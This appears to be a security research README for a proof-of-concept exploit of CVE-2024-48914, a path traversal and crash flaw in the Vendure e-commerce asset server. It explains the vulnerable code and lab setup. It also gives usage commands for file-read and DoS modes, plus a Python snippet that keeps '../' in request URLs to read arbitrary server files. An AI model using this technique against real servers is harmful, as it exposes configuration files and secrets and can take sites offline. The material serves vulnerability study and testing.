这篇文章是由 EQSTLab 发布的研究文章。

感谢发现该漏洞的 Rajesh Sharma。

CVE-2024-48914

★ CVE-2024-48914 任意文件读取与 DoS PoC ★

描述

CVE-2024-48914：vendure-ecommerce 任意文件读取与 DoS 漏洞

描述：Vendure 是一个开源的无头（headless）电商平台。在 3.0.5 和 2.3.3 版本之前，Vendure 的 asset server 插件中存在一个漏洞，允许攻击者构造一个请求，使其能够遍历服务器文件系统并读取任意文件的内容，包括配置文件、环境变量以及存储在服务器上的其他关键数据等敏感信息。在同一代码路径中，还存在一个通过畸形 URI 使服务器崩溃的额外攻击向量。3.0.5 和 2.3.3 版本中提供了补丁。此外还有一些变通方案可用。可以使用对象存储（例如 MinIO 或 S3）而非本地文件系统，或者定义中间件来检测并阻止 URL 中包含 /../ 的请求。

实验环境搭建

下载存在漏洞的版本（v3.0.4）：

安装顶层依赖

npm install

构建所有包

npm run build

配置数据库和 elasticsearch

docker-compose.yml

# This contains the services required to develop and test Vendure
# locally. It includes multiple SQL databases (for testing specific
# versions), Elasticsearch, Redis etc.
version: '3.7'
name: vendure-monorepo
services:
  mariadb:
    image: 'bitnami/mariadb:latest'
    container_name: mariadb
    environment:
      MARIADB_DATABASE: vendure-dev
      MARIADB_ROOT_USER: vendure
      MARIADB_ROOT_PASSWORD: password
    volumes:
      - 'mariadb_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_8:
    image: bitnami/mysql:8.0
    container_name: mysql-8
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  mysql_5:
    image: bitnami/mysql:5.7
    container_name: mysql-5.7
    environment:
      MYSQL_AUTHENTICATION_PLUGIN: mysql_native_password
      MYSQL_DATABASE: vendure-dev
      MYSQL_ROOT_USER: vendure
      MYSQL_ROOT_PASSWORD: password
    volumes:
      - 'mysql_data:/bitnami'
    ports:
      - '3306:3306'
  postgres_12:
    image: postgres:12.3
    container_name: postgres_12
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_12_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  postgres_16:
    image: postgres:16
    container_name: postgres_16
    environment:
      POSTGRES_DB: vendure-dev
      POSTGRES_USER: vendure
      POSTGRES_PASSWORD: password
      PGDATA: /var/lib/postgresql/data
    volumes:
      - postgres_16_data:/var/lib/postgresql/data
    ports:
      - "5432:5432"
    command: postgres -c shared_preload_libraries=pg_stat_statements -c pg_stat_statements.track=all -c pg_stat_statements.max=100000 -c max_connections=200
  # This is the Keycloak service which is used
  # to test the Keycloak auth strategy
  keycloak:
    image: quay.io/keycloak/keycloak
    ports:
      - "9000:8080"
    environment:
      KEYCLOAK_ADMIN: admin
      KEYCLOAK_ADMIN_PASSWORD: admin
    command:
      - start-dev
      - --import-realm
    volumes:
      - keycloak_data:/opt/keycloak/data
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.10.2
    container_name: elasticsearch
    environment:
      - discovery.type=single-node
      - bootstrap.memory_lock=true
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    volumes:
      - esdata:/usr/share/elasticsearch/data
    ports:
      - 9200:9200
  redis:
    image: bitnami/redis:7.4.1
    hostname: redis
    container_name: redis
    environment:
      - ALLOW_EMPTY_PASSWORD=yes
    ports:
      - "6379:6379"
volumes:
  postgres_16_data:
    driver: local
  postgres_12_data:
    driver: local
  mariadb_data:
    driver: local
  mysql_data:
    driver: local
  keycloak_data:
    driver: local
  esdata:
    driver: local

执行命令

docker-compose up -d mariadb
docker-compose up -d elasticsearch
cd packages/dev-server
npm run populate
npm run start

使用方法

Git 克隆

git clone https://github.com/EQSTLab/CVE-2024-48914.git
cd CVE-2024-48914

安装依赖包

pip install -r requirements.txt

命令

# Arbitrary File Read (mode 1)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -f <FILE_TO_READ> -m 1
# Denial of Service (mode 2)
python CVE-2024-48914.py -u <URL_TO_EXPLOIT> -m 2

输出

CVE-2024-48914.py（任意文件读取） alt text

CVE-2024-48914.py（DoS 攻击） alt text

分析

vendure/packages/asset-server-plugin/src/plugin.ts

 const decodedReqPath = decodeURIComponent(req.path);
        if (imageParamsString !== '') {
            const imageParamHash = this.md5(imageParamsString);
            return path.join(this.cacheDir, this.addSuffix(decodedReqPath, imageParamHash, imageFormat));
        } else {
            return decodedReqPath;
        }

该漏洞源于在 path.join 中直接使用 decodedReqPath，而没有执行任何路径规范化（即 node.js 中的 path.normalize）。该漏洞允许攻击者构造一个请求，使其能够遍历服务器文件系统并读取任意文件的内容，包括配置文件、环境变量以及存储在服务器上的其他关键数据等敏感信息。

Python 提示

使用 python requests 模块时，"../" 会从 urlpath 中被移除。如果像下面这样使用"prepared requests"，就可以使用 python requests 模块而无需担心 "../" 从 urlpath 中被移除。

def readFile(self) -> None:
        url = f"{self.url}/assets/../{self.file}"
        s = requests.Session()
        req = requests.Request(method='GET' ,url=url)
        prep = req.prepare()
        prep.url = url
        response = s.send(prep, verify=False)
...

免责声明

本仓库并非旨在针对 CVE-2024-48914 进行任意文件读取或 DoS 漏洞利用。本项目的目的是帮助人们了解该漏洞，或许还可以用于测试他们自己的应用程序。

参考链接

https://github.com/vendure-ecommerce/vendure/security/advisories/GHSA-r9mq-3c9r-fmjq https://github.com/vendure-ecommerce/vendure/tree/v3.0.4

CVE-2024-48914

最受欢迎

CVE-2024-48914

描述

实验环境搭建

安装顶层依赖

构建所有包

配置数据库和 elasticsearch

使用方法

Git 克隆

安装依赖包

命令

输出

分析

Python 提示

免责声明

参考链接